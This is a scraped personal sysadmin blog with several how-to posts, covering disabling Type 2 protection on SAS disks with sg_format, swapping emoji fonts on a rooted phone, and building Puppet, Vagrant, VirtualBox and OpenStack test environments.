Joni Junni

Disabling Type 2 Protection in SAS HDDs

2023-04-07T13:50:00+00:00

What is Type 2 Protection?</h2>

Sometimes old enterprise SAS disks come with Type 1 or 2 Protection enabled. This is based on T10 Data Protection Information</a> specification, which aims to ensure end-to-end-data integrity for data storage by using different (520 byte) block size where the disk controller can use the extra bytes for parity checking etc. In some cases this configuration can result problems with software RAID setups, like ZFS.

To disable Type 2 Protection in modern SAS hard disks, you can use sg3_utils</a>-package found in most Linux distributions.

Disclaimer: This procedure will DESTROY all data on the disk. Using these commands can make your disk unusable. Use on your own risk! You have been warned.

You can use sg_readcap</code> command to check if you have the protection feature on:

root@parzival</span> ~]#</span> sg_readcap</span> /dev/sdYOURDISK</span></span>
READ</span> CAPACITY</span> (10</span>) indicates device capacity too large</span></span>
  now</span> trying</span> 16</span> byte</span> cdb</span> variant</span></span>
Read</span> Capacity</span> results:</span></span>
   Protection:</span> prot_en=1,</span> p_type=1,</span> p_i_exponent=</span>0</span> [type</span> 2</span> protection]</span></span>
   Logical</span> block</span> provisioning:</span> lbpme=0,</span> lbprz=</span>0</span></span>
   Last</span> LBA=</span>22961717247</span> (0x5589fffff</span>), Number of logical</span> blocks</span>=</span>2</span>2</span>9</span>6</span>1</span>7</span>1</span>7</span>2</span>4</span>8</span></span>
   Logical</span> block</span> length=</span>512</span> bytes</span></span>
   Logical</span> blocks</span> per</span> physical</span> block</span> exponent=</span>3</span> [so</span> physical</span> block</span> length=</span>4096</span> bytes]</span></span>
   Lowest</span> aligned</span> LBA=</span>0</span></span>
Hence:</span></span>
   Device</span> size:</span> 11756399230976</span> bytes,</span> 11211776.0</span> MiB,</span> 11756.40</span> GB,</span> 11.76</span> TB</span></span></code></pre>
So here we can see that [type 2 protection]</code> is mentioned in the command output, which indicates that the Type 2 protection is currently enabled.</p>
Disabling Type 2 protection</h2>
So how we can disable it? With sg_format</code> command. This will send a FORMAT UNIT</strong> command the controller on the hard disk itself, which will start a low-level formatting process to change the layout on the disk. Note: This will take a loong time to complete depending on hard disk size and it will delete all data on the disk. You have been warned.</strong></p>
The command:</p>
sg_format -F -f 0 -v /dev/sdYOURDISK</code></p>
Where the arguments I’m using are:</p>

-F</strong> is —format</strong>, do FORMAT UNIT</strong> command</li>
-f 0</strong> is —fmtpinfo=0</strong>, means what protection level to select</li>
-v</strong> which means verbose.</li>
</ul>
You can find more in-depth command definitions in the sg_format man page</a>.</p>
[</span>root@parzival </span>~</span>]</span># sg_format -F -f 0 -v /dev/sdYOURDISK</span></span>
    SEAGATE</span>   ST12000NM0158</span>     RSL5</span>   peripheral_type:</span> disk</span> [0x0</span>]</span></span>
      PROTECT</span>=</span>1</span></span>
      <<</span> supports</span> protection</span> informatio</span>n</span>>></span></span>
      Unit serial number: MAG1CA7</span></span>
      LU name: 5000c</span></span>
    mode sense(10) cdb: [5a 00 01 00 00 00 00 00 fc 00]</span></span>
Mode Sense (block descriptor) data, prior to changes:</span></span>
block count maxed out, set <<longlba>></span></span>
    mode sense(10) cdb: [5a 10 01 00 00 00 00 00 fc 00]</span></span>
  <<< longlba flag set (64 bit lba) >>></span></span>
  Number of blocks=23081319440 [0x55fc0fc10]</span></span>
  Block size=512 [0x200]</span></span>
</span>
A FORMAT UNIT will commence in 15 seconds</span></span>
    ALL data on /dev/sdYOURDISK will be DESTROYED</span></span>
        Press control-C to abort</span></span>
</span>
A FORMAT UNIT will commence in 10 seconds</span></span>
    ALL data on /dev/sdYOURDISK will be DESTROYED</span></span>
        Press control-C to abort</span></span>
</span>
A FORMAT UNIT will commence in 5 seconds</span></span>
    ALL data on /dev/sdYOURDISK will be DESTROYED</span></span>
        Press control-C to abort</span></span>
    Format unit cdb: [04 18 00 00 00 00]</span></span>
Format unit command launched without error</span></span></code></pre>
After the command was run successfully, it will print out the status info every few seconds. You can Ctrl-C out of the command if you like, it will continue the format in the background. You can check the status of the formatting with sg_requests</code>:</p>
[</span>root@parzival </span>~</span>]</span># sg_requests /dev/sdYOURDISK</span></span>
data-in</span> decoded</span> as</span> sense:</span></span>
Fixed</span> format,</span> current</span>;</span> Sense</span> key:</span> Not</span> Ready</span></span>
Additional</span> sense:</span> Logical</span> unit</span> not</span> ready,</span> format</span> in</span> progress</span></span>
  Progress</span> indication:</span> 0.37%</span></span>
</span>
Number</span> of</span> data-in</span> errors</span> detected:</span> 1,</span> most</span> recent</span> sense_key=</span>2</span></span></code></pre>Sources</h2>

sg_utils man page</a></li>
</ul>



Creating a MariaDB database and user from CLI
2017-08-05T00:00:00+00:00
2026-08-09: Updated to MariaDB-compatible commands</em></p>
For some reason I always have to search the internet for the steps required for creating a database and grant privileges to it in the MariaDB command line. Usually the how-tos found on the net are a bit complicated or they are missing some commands that I like to do when I create databases and users.…
</p>


Replacing default Samsung Emoji emoticons with Google Emojis on rooted Samsung Note 3
2014-07-17T00:00:00+00:00
Your device needs to be rooted for this to work!</strong></p>
First, connect the mobile on your computer with USB-cable. Download, extract Emoji_Google</a> and copy NotoColorEmoji.ttf file to the device SD-card.</p>
Open an adb-shell on the mobile as root:</p>
adb shell</span></span>
su</span></span></code></pre>
Remount /system, so we can copy the file:</p>
mount -o rw,remount /system</span></span></code></pre>
Rename the old file for backup purposes:</p>
mv /system/fonts/NotoColorEmoji.ttf /system/fonts/NotoColorEmoji.ttf.old</span></span></code></pre>
Copy the new file in /system/fonts (your path may vary depending on where you saved it) and set the correct permissions:</p>
cp /sdcard/NotoColorEmoji.ttf /system/fonts/NotoColorEmoji.ttf</span></span>
chmod 644 /system/fonts/NotoColorEmoji.ttf</span></span></code></pre>
Remount /system as read-only again:</p>
mount -o ro,remount /system</span></span></code></pre>
Finally, reboot the device.</p>
</p>
Yay, Google Emojis appear!</p>
 </p>


Linux centralized management: Creating a puppet test environment based on production server - Part 1
2013-12-11T00:00:00+00:00
Creating a puppet test environment based on production server - Part 1</h1>
I decided to do few modules that will build an identical server configuration based on a production server of mine.</p>
First I created a project folder where all the project files are created.</p>
mkdir</span> vhost</span></span>
cd</span> vhost</span></span>
git</span> init</span></span></code></pre>
I used Vagrant to create a virtual machine where my puppet modules will be deployed.</p>
Creating the Vagrantfile for the environment</h2>
nano Vagrantfile</code></p>
I wrote a Vagrantfile that creates one virtual machine where all the modules will be run:</p>
Vagrant</span>::</span>Config</span>.</span>run</span> do</span> |</span>config</span>|</span></span>
	config</span>.</span>vm</span>.</span>provision</span> :</span>puppet</span> do</span> |</span>puppet</span>|</span></span>
		puppet</span>.</span>module_path</span> =</span> "</span>modules</span>"</span></span>
		puppet</span>.</span>manifest_file</span> =</span> "</span>site.pp</span>"</span></span>
	end</span></span>
</span>
	config</span>.</span>vm</span>.</span>define</span> :</span>web1</span> do</span> |</span>apache_config</span>|</span></span>
		apache_config</span>.</span>vm</span>.</span>box</span> =</span> "</span>precise64</span>"</span></span>
		apache_config</span>.</span>vm</span>.</span>box_url</span> =</span> "</span>http://files.vagrantup.com/precise64.box</span>"</span></span>
		apache_config</span>.</span>vm</span>.</span>network</span> :</span>hostonly</span>,</span> "</span>10.0.0.2</span>"</span></span>
		apache_config</span>.</span>vm</span>.</span>host_name</span> =</span> "</span>web1.labra.local</span>"</span></span>
	end</span></span>
end</span></span></code></pre>Creating Apache module with virtual hosts</h2>
I created a new module called apache which will install Apache and with a defined type vhost allow creating of virtualhosts for Apache.</p>
First I created the default module directory structure:</p>
mkdir</span> -</span>p</span> modules/apache/manifests</span></span>
mkdir</span> -</span>p</span> modules/apache/templates</span></span></code></pre>
Then I created the main init.pp file:</p>
nano modules/apache/manifests/init.pp</span></span></code></pre>
And wrote the following in it:</p>
class</span> apache</span> {</span></span>
        package</span> {</span>'</span>apache2</span>'</span>:</span></span>
                ensure </span>=></span> installed,</span></span>
                require </span>=></span> Exec</span>[</span>'</span>apt-update</span>'</span>]</span>,</span></span>
        }</span></span>
</span>
        service</span> {</span>'</span>apache2</span>'</span>:</span></span>
                ensure </span>=></span> running</span>,</span></span>
                require </span>=></span> Package</span>[</span>'</span>apache2</span>'</span>]</span>,</span></span>
        }</span></span>
        exec</span> { </span>"</span>apt-update</span>"</span>:</span></span>
                command </span>=></span> "</span>/usr/bin/apt-get update</span>"</span></span>
        }</span></span>
}</span></span></code></pre>
The main manifest installs Apache and starts it if it is not running already. The exec-command is only needed for Vagrant because it does not update package lists automatically, more about the problem in here</a>.</p>
Apache Virtualhosts with defined types</h2>
For the Apache Virtualhosts I used my modified version of the Puppetlabs-apache</a> defined type vhost code.</p>
I created the vhost.pp file for the virtualhost type:</p>
nano modules/apache/manifests/vhost.pp</span></span></code></pre>
I modified the Puppetlabs code to be a bit simplified version for my configuration:</p>
define</span> apache::vhost</span>(</span></span>
        $</span>port</span>,</span></span>
        $</span>docroot</span>        =</span> '</span>/var/www-${name}</span>'</span>,</span></span>
        $</span>template</span>      =</span> '</span>apache/vhost-default.conf.erb</span>'</span>,</span></span>
        $</span>priority</span>      =</span> '</span>25</span>'</span>,</span></span>
        $</span>servername</span>    =</span> '</span>'</span>,</span></span>
        $</span>serveraliases</span> =</span> '</span>'</span>,</span></span>
        $</span>options</span>       =</span> "</span>Indexes FollowSymLinks MultiViews</span>"</span>,</span></span>
        $</span>vhost_name</span>    =</span> '</span>*</span>'</span></span>
      ) </span>{</span></span>
    </span></span>
      include</span> apache</span></span>
    </span></span>
      #</span> Below is a pre-2.6.5 idiom for having a parameter default to the title,</span></span>
      #</span> but you could also just declare $servername = "$title" in the parameters</span></span>
      #</span> list and change srvname to servername in the template.</span></span>
    </span></span>
      if</span> $</span>servername</span> == </span>'</span>'</span> {</span></span>
        $</span>srvname</span> = </span>$</span>title</span></span>
      } </span>else</span> {</span></span>
        $</span>srvname</span> = </span>$</span>servername</span></span>
      }</span></span>
      case</span> $</span>operatingsystem</span> {</span></span>
        '</span>centos</span>'</span>, </span>'</span>redhat</span>'</span>, </span>'</span>fedora</span>'</span>: { </span>$</span>vdir</span>   = </span>'</span>/etc/httpd/conf.d</span>'</span></span>
                                        $</span>logdir</span> = </span>'</span>/var/log/httpd</span>'</span>}</span></span>
        '</span>ubuntu</span>'</span>, </span>'</span>debian</span>'</span>:           { </span>$</span>vdir</span>   = </span>'</span>/etc/apache2/sites-enabled</span>'</span></span>
                                        $</span>logdir</span> = </span>'</span>/var/log/apache2</span>'</span>}</span></span>
        default:</span>                      { </span>$</span>vdir</span>   = </span>'</span>/etc/apache2/sites-enabled</span>'</span></span>
                                        $</span>logdir</span> = </span>'</span>/var/log/apache2</span>'</span>}</span></span>
      }</span></span>
      file</span> {</span></span>
        "</span>${</span>vdir</span>}</span>/</span>${</span>priority</span>}</span>-</span>${</span>name</span>}</span>.conf</span>"</span>:</span></span>
          content </span>=></span> template</span>(</span>$</span>template</span>),</span></span>
          owner   </span>=></span> '</span>root</span>'</span>,</span></span>
          group   </span>=></span> '</span>root</span>'</span>,</span></span>
          mode    </span>=></span> '</span>755</span>'</span>,</span></span>
          require </span>=></span> Package</span>[</span>'</span>apache2</span>'</span>]</span>,</span></span>
          notify  </span>=></span> Service</span>[</span>'</span>apache2</span>'</span>]</span>,</span></span>
      }</span></span>
</span>
    }</span></span></code></pre>
Creating the master site definition for Vagrant Puppet provision</p>
First I created a manifests-directory to my project directory root where I created a site.pp file for Vagrant to run:</p>
mkdir manifests</span></span>
nano manifests/site.pp</span></span></code></pre>
I defined my one node in the file to install Apache and MySQL Server, create two users for the sites and finally create two virtualhosts with the names jonijunni.labra.local and synkkasiiseli.labra.local:</p>
	node</span> '</span>web1.labra.local</span>'</span> {</span></span>
            apache::vhost</span> { </span>'</span>jonijunni.labra.local</span>'</span>:</span></span>
                    priority </span>=></span> '</span>20</span>'</span>,</span></span>
                    port </span>=></span> '</span>80</span>'</span>,</span></span>
                    docroot </span>=></span> '</span>/home/jonijunni/public_html</span>'</span>,</span></span>
                    require </span>=></span> User</span>[</span>'</span>jonijunni</span>'</span>]</span>,</span></span>
            }</span></span>
            apache::vhost</span> { </span>'</span>synkkasiiseli.labra.local</span>'</span>:</span></span>
                    priority </span>=></span> '</span>20</span>'</span>,</span></span>
                    port </span>=></span> '</span>80</span>'</span>,</span></span>
                    docroot </span>=></span> '</span>/home/synkkasiiseli/public_html</span>'</span>,</span></span>
                    require </span>=></span> User</span>[</span>'</span>synkkasiiseli</span>'</span>]</span>,</span></span>
            }</span></span>
            user::user</span> { </span>'</span>jonijunni</span>'</span>:</span></span>
                    username </span>=></span> '</span>jonijunni</span>'</span>,</span></span>
            }</span></span>
            user::user</span> { </span>'</span>synkkasiiseli</span>'</span>:</span></span>
                    username </span>=></span> '</span>synkkasiiseli</span>'</span>,</span></span>
            }</span></span>
    </span></span>
            include</span> mysql</span></span>
    }</span></span></code></pre>
After that I deployed the virtual machine:</p>
vagrant up</span></span></code></pre>
</p>
Finally I tested with my browser that the virtual hosts work:</p>
</p>
For the domain name to work you need to have the name configured on the DNS-server on your network or in your hosts-file.</p>
Commiting to Git repository</h2>
git</span> add</span> .</span></span>
git</span> commit</span></span>
git</span> pull</span> &&</span> git</span> push</span></span></code></pre>Git Log</h2>
<pre class="wp-code-highlight prettyprint">commit 2746c1444cd568594829fa59c3ed958e6994d5a2</span></span>
Author: Joni Junni <joni@xenon.(none)></span></span>
Date:   Mon Dec 9 10:01:34 2013 +0200</span></span>
</span>
    Fixed apt-get update problem</span></span>
</span>
commit 5c51013b74d0a8505b1d4befbb464ff3cc2105ad</span></span>
Author: Joni Junni <joni@xenon.(none)></span></span>
Date:   Mon Dec 9 09:16:15 2013 +0200</span></span>
</span>
    Fixed thingies</span></span>
</span>
commit e948a7c53e69acec097e0396a59259dff0c5d34f</span></span>
Author: Joni Junni <joni@xenon.(none)></span></span>
Date:   Sat Dec 7 12:57:35 2013 +0200</span></span>
</span>
    Working web1 server with name resolving</span></span>
</span>
commit a5eed82397955ecf7bccda1eeca1c8be7e468a5e</span></span>
Author: Joni Junni <joni@xenon.(none)></span></span>
Date:   Sat Dec 7 12:23:03 2013 +0200</span></span>
</span>
    Committing a new Vagrant project</span></span></code></pre>Moving the repo to master server</h2>
I moved my project to a remote server for easier deployment.</p>
Things to run on the remote server</strong></p>
mkdir</span> vhost.git</span></span>
cd</span> vhost.git</span></span>
git</span> init</span> -</span>-bare</span> -</span>-shared</span></span></code></pre>
Things to do on the local repository</strong></p>
git</span> remote</span> add</span> origin</span> ssh://joni@xenon.local/home/joni/vhost.git</span></span>
git</span> push</span> origin</span> master</span></span>
git</span> branch</span> -</span>-set-upstream</span> master</span> origin/master</span></span>
git</span> pull</span> &&</span> git</span> push</span></span></code></pre>
</p>
Cloning the repo to other machines</strong></p>
I cloned the repo to my development machine:</p>
git clone ssh://joni@192.168.2.7/home/joni/gitrepo/vhost.git</span></span></code></pre>
Muistilista</p>

Ympäristön rakennus vagrant</li>
Apachen asennus</li>
Vhostin luominen</li>
Nameresolving?</li>
sivustokohtaiset käyttäjät</li>
Tietokantapalvelimen asennus</li>
Mysql kantojen lisääminen</li>
Varnishin asennus ja konffaus</li>
</ul>
Sources</h1>

Tero Karvinen: Linux Centralized Management course – Using Git lecture (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li>
Git from Offline to Network – Tero Karvinen (http://terokarvinen.com/2012/git-from-offline-to-network</a>)</li>
Setting up BIND9 (http://jack-brennan.com/dns-with-bind9-on-debian-part-22/</a>)</li>
Learning Puppet – Defined types (http://docs.puppetlabs.com/learning/definedtypes.html</a>)</li>
Apache: Name-based Virtual Host support (https://httpd.apache.org/docs/2.2/vhosts/name-based.html</a>)</li>
</ul>


Linux project: Setting up Vagrant development environment, project wrap-up
2013-12-03T00:00:00+00:00
First I installed Vagrant on the testing server:</p>
sudo</span> apt-get</span> update</span></span>
sudo</span> apt-get</span> install</span> vagrant</span></span></code></pre>
Then I created a project directory to test the environment and initiated a Vagrantfile to it:</p>
mkdir</span> -</span>p</span> ~/projects/linuxtest</span></span>
vagrant</span> init</span></span></code></pre>
I added the following text to the Vagrantfile:</p>
Vagrant</span>::</span>Config</span>.</span>run</span> do</span> |</span>config</span>|</span></span>
        config</span>.</span>vm</span>.</span>define</span> :</span>web1</span> do</span> |</span>apache_config</span>|</span></span>
                apache_config</span>.</span>vm</span>.</span>box</span> =</span> "</span>precise64</span>"</span></span>
                apache_config</span>.</span>vm</span>.</span>box_url</span> =</span> "</span>http://files.vagrantup.com/precise64.box</span>"</span></span>
                apache_config</span>.</span>vm</span>.</span>host_name</span> =</span> "</span>web1</span>"</span></span>
                apache_config</span>.</span>vm</span>.</span>network</span> :</span>bridged</span>,</span> :</span>bridge</span> =></span> '</span>eth1</span>'</span></span>
        end</span></span>
    </span></span>
        config</span>.</span>vm</span>.</span>define</span> :</span>db1</span> do</span> |</span>mysql_config</span>|</span></span>
                mysql_config</span>.</span>vm</span>.</span>box</span> =</span> "</span>precise64</span>"</span></span>
                mysql_config</span>.</span>vm</span>.</span>box_url</span> =</span> "</span>http://files.vagrantup.com/precise64.box</span>"</span></span>
                mysql_config</span>.</span>vm</span>.</span>host_name</span> =</span> "</span>db1</span>"</span></span>
                mysql_config</span>.</span>vm</span>.</span>network</span> :</span>bridged</span>,</span> :</span>bridge</span> =></span> '</span>eth1</span>'</span></span>
        end</span></span>
end</span></span></code></pre>
WARNING!</strong> If you configure your virtual machines in bridged mode, please make sure that you define a good password for the vagrant user!</p>
The Vagrantfile defines the creation of two VMs. One machine for Apache and another for databases. I defined the network to be in bridged mode on the eth1 interface. The host_name line defines a hostname automatically for both machines.</p>
Then I created the VMs:</p>
vagrant up</span></span></code></pre>
</p>
After Vagrant created the machines, I installed avahi-utils and apache2 on the web1 VM:</p>
sudo apt-get install avahi-utils apache2</span></span></code></pre>
I installed Avahi for easy name resolving, as I don’t have a working DNS server on my network. I tested that both of them installed correctly and is working:</p>
</p>
Project wrap-up</h3>
We started our project by listing a few of the virtualization platforms and we selected three of them for testing the most suitable system to replace the ESXi server platform. After we tested the three systems we selected two of them, Vagrant and VirtualBox, for the final solution. Vagrant will be used on projects involving Linux-based VMs and GUI-version of VirtualBox is used to deploy and test Windows VMs.</p>
In the future we will be using Puppet for automating the installation of needed programs for Vagrant VMs, as this was not a task in this project.</p>
Sources</h3>

Vagrant Docs for version 1.0.1 (http://docs-v1.vagrantup.com/v1/docs/index.html</a>)</li>
</ul>


Linux project: Testing Virtualbox on Xubuntu 12.04
2013-12-02T00:00:00+00:00
The third candidate for replacing my current ESXi testing environment is plain Virtualbox.</p>
For this test, I installed Xubuntu 12.04 on my development machine for testing purposes.</p>
First I installed Virtualbox from repos:</p>
sudo</span> apt-get</span> update</span></span>
sudo</span> apt-get</span> install</span> virtualbox</span></span></code></pre>
After the installation I needed to restart the machine to get the kernel driver functioning.</p>
After the reboot I started Virtualbox by opening it from the main menu:</p>
</p>
Testing Debian on Virtualbox</h3>
I created a new virtual machine by selecting “New”. I created a Debian test machine with the following settings:</p>

Name: deb-test1</li>
OS Type: Debian 7.2</li>
RAM: 2Gb</li>
HDD: 8Gd</li>
</ul>
I downloaded Debian 7.2 netinstaller-ISO for testing. I attached the ISO image to the VM:</p>
</p>
And finally started the VM to see if it works:</p>
</p>
So, Debian runs nicely on Virtualbox, but is quite unwieldy without Vagrant automatizing the deployment.</p>
Testing Windows guest on VirtualBox</h3>
I also tested Virtualbox with a Windows 2008R2 guest with the following specs on the VM:</p>

Name: win-test</li>
OS Type: Windows 2008 (64 bit)</li>
RAM: 10Gb</li>
HDD: 25Gb</li>
</ul>
After I attached the ISO image to the VM and started it, I got a working Windows VM:</p>
</p>
Conclusion</h3>
Virtualbox is a simple way to run virtual machines graphically. For our purposes we will be using Vagrant and Virtualbox together as the final development environment. We will run Linux boxes in Vagrant and Windows machines on Virtualbox.</p>
Sources</h3>

Oracle Virtualbox Official site (https://www.virtualbox.org/</a>)</li>
</ul>
 </p>


Linux project: Setting up Vagrant on Ubuntu 12.04
2013-12-01T00:00:00+00:00
Text author: Aleksi Kulmala</p>
Installing Vagrant and Virtualbox</h3>
First up when starting this project you have to install Virtualbox first.</p>
You can do it easily from terminal using command:</p>
sudo apt-get install virtualbox</span></span></code></pre>
After that you can download the right package for your platform from the Vagrant homepage. You can also install it from command prompt using command:</p>
sudo apt-get install vagrant</span></span></code></pre>
When you have installed the package you can go straight to the command prompt. To get Vagrant up and running run these commands:</p>
vagrant init precise http://files.vagrantup.com/precise32.boxvagrant up</span></span></code></pre>
Now you have a running virtual machine in Virtualbox. You can connect to it using:</p>
vagrant ssh</span></span></code></pre>Creating a Vagrant project</h3>
When you are setting your project up Vagrant has built-in command to get all working first you have to create directory for it:</p>
mkdir vagrant_test</span></span>
cd vagrant_test</span></span>
vagrant init</span></span></code></pre>
Vagrant uses “boxes” this means you don’t have to build a virtual machine from scratch, instead you use a base images to clone virtual machines. Now we have to add the boxes by using simple command:</p>
vagrant box add precise32 http://files.vagrantup.com/precise32.box</span></span></code></pre>
Now that we have done all the setup for the virtual machine we can run a command to start using it</p>
vagrant up</span></span></code></pre>
This command will create us a virtual machine running Ubuntu. Now we can log in to it using SSH:</p>
vagrant ssh</span></span></code></pre>
Now we have a real virtual machine in our hands and we can do whatever we want with it. If you want to destroy the virtual machine you can run the command:</p>
vagrant destroy</span></span></code></pre>
Vagrant has this great feature “synced folders” Vagrant will automatically sync your files to and from the virtual machine.</p>
Sources</h3>

Vagrant Getting Started Guide (http://docs.vagrantup.com/v2/getting-started/index.html</a>)</li>
</ul>


Linux project: Installing, configuring and testing OpenStack on Ubuntu Server 12.04.3
2013-11-25T00:00:00+00:00
The OpenStack platform consists of 9 components, that provide different services to the platform:</p>

Dashboard Service (Horizon) – Service provides a front-end to OpenStack, that allows users to configure the OpenStack platform.</li>
Compute Service (Nova) – Provides the platform that hosts the virtual machines</li>
Networking Service (Neutron) – Provides networking capabilities to the platform</li>
Object Storage Service (Swift) –</li>
Block Storage Service (Cinder) – Provides block storage (Virtual HDDs) to virtual machines.</li>
Identity Service (Keystone) – Does the authentication and authorization for the platform services.</li>
Image Service (Glance) – Provides images to the platform.</li>
Metering/Monitoring Service (Ceilometer) – Monitors the platform services.</li>
Orchestration Service (Heat) – Provides orchestration capabilities to the platform.</li>
</ul>
I will install only Nova, Horizon, Keystone and Glance services for my test environment.</p>
Installation</h3>
Installation is quite time consuming, It took me a day to get the system running properly. I used this guide to get the system installed and running: http://docs.openstack.org/havana/install-guide/install/apt/content/</a> I will not be go through the installation steps because they are documented on this guide well enough to get the system running.</p>
Testing</h3>
After I got the system installed, opened the dashboard with my browser:</p>
</p>
First I uploaded a Debian 7.2.0 Netinstaller ISO image from my local machine:</p>
</p>
I created a Debian test VM from the GUI with the following settings:</p>
</p>
After launching the VM, I opened the console to the VM:</p>
</p>
I now have a running OpenStack with functional Debian VM!</p>
Conclusion</h3>
OpenStack is quite massive piece of software, which is aimed for using in cloud hosting services with fair amount of hardware to virtualize the instances. It can be run on single server node for development and testing purposes, but it is not recommended for production use. For my use case it might be too large configuration.</p>
Windows guest compatibility</h3>
OpenStack can host Windows guest VM’s, but based on my research they are quite complicated to get them up and running on the platform. If you want to get Windows instances running on OpenStack, I recommend watching this presentation:</p>
Sources</h3>

OpenStack Installation Guide for Ubuntu Server 12.04 (http://docs.openstack.org/havana/install-guide/install/apt/content/</a>)</li>
Windows drivers (http://docs.openstack.org/image-guide/content/windows-image.html</a>)</li>
Windows on OpenStack: Best Practices and Pitfalls (https://www.youtube.com/watch?v=JMDxpAmR_XQ</a>)</li>
Creating a Windows Image on OpenStack (http://blog.gridcentric.com/bid/297627/Creating-a-Windows-Image-on-OpenStack</a>)</li>
</ul>


Linux centralized management: Installing SSH with Puppet parameterized classes
2013-11-24T00:00:00+00:00
First, I created the default module structure:</p>
mkdir</span> -</span>p</span> /modules/sshporttest/manifests</span></span>
mkdir</span> -</span>p</span> /modules/sshporttest/templates</span></span></code></pre>
Then I created the init.pp file to manifests-directory:</p>
nano</span> /modules/sshporttest/manifests/init.pp</span></span></code></pre>
And wrote the following settings to it:</p>
class</span> sshporttest</span>(</span>$</span>port</span> =</span> 22</span>) </span>{</span></span>
        package</span> { </span>'</span>openssh-server</span>'</span>:</span></span>
                ensure </span>=></span> "</span>installed</span>"</span>,</span></span>
        }</span></span>
    </span></span>
         file</span> { </span>'</span>/etc/ssh/sshd_config</span>'</span>:</span></span>
                content </span>=></span> template</span>(</span>"</span>sshporttest/sshd_config.erb</span>"</span>),</span></span>
                require </span>=></span> Package</span>[</span>"</span>openssh-server</span>"</span>]</span>,</span></span>
                notify </span>=></span> Service</span>[</span>"</span>ssh</span>"</span>]</span>,</span></span>
        }</span></span>
    </span></span>
        service</span> { </span>'</span>ssh</span>'</span>:</span></span>
                ensure </span>=></span> '</span>running</span>'</span>,</span></span>
                enable </span>=></span> '</span>true</span>'</span>,</span></span>
                require </span>=></span> Package</span>[</span>"</span>openssh-server</span>"</span>]</span>,    </span></span>
                hasstatus </span>=></span> '</span>false</span>'</span>,</span></span>
                status </span>=></span> "</span>/etc/init.d/ssh status|grep running</span>"</span>,</span></span>
        }</span></span>
}</span></span></code></pre>
I added a parameter for port on the class line. This can be used on the class apply command, so that we can change the port to install SSH into.</p>
I copied the default SSH config file to the templates directory:</p>
cp</span> /etc/ssh/sshd_config</span> /home/joni/puppet/modules/sshporttest/templates/sshd_config.erb</span></span></code></pre>
And edited the header to test if my module would work:</p>
</p>
Finally, tested to run the module:</p>
sudo</span> puppet</span> apply</span> -</span>-modulepath</span> modules/</span> -</span>e</span> '</span>class {"sshporttest":}</span>'</span></span></code></pre>
Then I checked that the /etc/ssh/sshd_config file was modified:</p>
</p>
I edited the /modules/sshporttest/templates/sshd_config.erb file so it would take the port number from the class parameter:</p>
</p>
Then I applied the module again with a parameter port => 2222 to set the SSH port to 2222:</p>
sudo</span> puppet</span> apply</span> -</span>-modulepath</span> modules/</span> -</span>e</span> '</span>class {"sshporttest": port => 2222}</span>'</span></span></code></pre>
Finally, I tested that the port has changed:</p>
</p>
Sources</h3>

Learning Puppet – Class Parameters (http://docs.puppetlabs.com/learning/modules2.html</a>)</li>
Tero Karvinen: Linux Centralized Management Lecture 4 (http://terokarvinen.com/2013/aikataulu-%E2%80%93-linuxin-keskitetty-hallinta-%E2%80%93-ict4tn011-4-syksylla-2013</a>)</li>
</ul>


Linux centralized management: Configuring Puppetmaster and client-server testing
2013-11-17T00:00:00+00:00
Steps:</p>

Install Vagrant and create VMs using a Vagrantfile</li>
Setup Avahi and test connectivity between VMs</li>
Install and configure Puppetmaster</li>
Install and configure Puppet on client VMs</li>
Configure modules to deploy from master VM</li>
</ol>
Installing Vagrant and creating Vagrantfile</p>
I started by installing Vagrant to my development machine:</p>
sudo apt-get install vagrant</code></p>
Then I created a new project directory and created a Vagrantfile into it:</p>
mkdir</span> -</span>p</span> ~/Projects/puppetmaster</span>  </span></span>
cd</span> ~/Projects/puppetmaster</span>  </span></span>
nano</span> Vagrantfile</span></span></code></pre>
I wrote this into the Vagrantfile:</p>
Vagrant</span>::</span>Config</span>.</span>run</span> do</span> |</span>config</span>|</span></span>
       config</span>.</span>vm</span>.</span>define</span> :</span>puppetmaster</span> do</span> |</span>master_config</span>|</span></span>
               master_config</span>.</span>vm</span>.</span>box</span> =</span> "</span>puppetmaster</span>"</span></span>
               master_config</span>.</span>vm</span>.</span>box_url</span> =</span> "</span>http://files.vagrantup.com/precise32.box</span>"</span></span>
               config</span>.</span>vm</span>.</span>network</span> :</span>bridged</span></span>
       end</span></span>
</span>
       config</span>.</span>vm</span>.</span>define</span> :</span>apache</span> do</span> |</span>apache_config</span>|</span></span>
               apache_config</span>.</span>vm</span>.</span>box</span> =</span> "</span>apache</span>"</span></span>
               apache_config</span>.</span>vm</span>.</span>box_url</span> =</span> "</span>http://files.vagrantup.com/precise32.box</span>"</span></span>
               config</span>.</span>vm</span>.</span>network</span> :</span>bridged</span></span>
       end</span></span>
</span>
       config</span>.</span>vm</span>.</span>define</span> :</span>mysql</span> do</span> |</span>mysql_config</span>|</span></span>
               mysql_config</span>.</span>vm</span>.</span>box</span> =</span> "</span>mysql</span>"</span></span>
               mysql_config</span>.</span>vm</span>.</span>box_url</span> =</span> "</span>http://files.vagrantup.com/precise32.box</span>"</span></span>
               config</span>.</span>vm</span>.</span>network</span> :</span>bridged</span></span>
       end</span></span>
end</span></span></code></pre>
The code above tells Vagrant to create two virtual machine instances named “apache” and “mysql” from the default Ubuntu Lucid box. It will also make Vagrant to put the virtual machines into a bridged network, so the virtual machines vill get the IP straight from the physical network that the host machine is connected.</p>
Finally, I created the virtual machines:</p>
vagrant up</code></p>
After about 5 minutes, I had three functional virtual machines:</p>
(vagrant-three-vms.png)</p>
Configure the enviroment</p>
To get the Puppetmaster working, it is needed that the virtual machines can connect to themselves and knows their hostnames. I needed to change the hostname in these files:</p>

/etc/hostname</li>
/etc/hosts</li>
</ul>
(changed-hostname.png)
(steps.png)</p>
After I changed the the hostname, I installed avahi-utils for the FQDN-names to work(eq. puppetmaster.local). Lastly i restarted the VM so the settings would come live. This step needs to be done all of the virtual machines, as I do not have a functional DNS-server in my environment.</p>
Installing and configuring puppetmaster</p>
I created three virtual machines in the previous step: puppetmaster, apache and mysql. First, I will install and configure Puppetmaster to the puppetmaster-machine:</p>
vagrant ssh puppetmaster</code></p>
Install Puppetmaster:</p>
sudo</span> apt-get</span> update</span>  </span></span>
sudo</span> apt-get</span> install</span> puppetmaster</span></span></code></pre>
Configure Puppetmaster</p>
As in Tero’s tutorial, I needed to stop the service, remove created certificates, edit the config file to match my FQDN an restart the service:</p>
sudo</span> service</span> puppetmaster</span> stop</span>  </span></span>
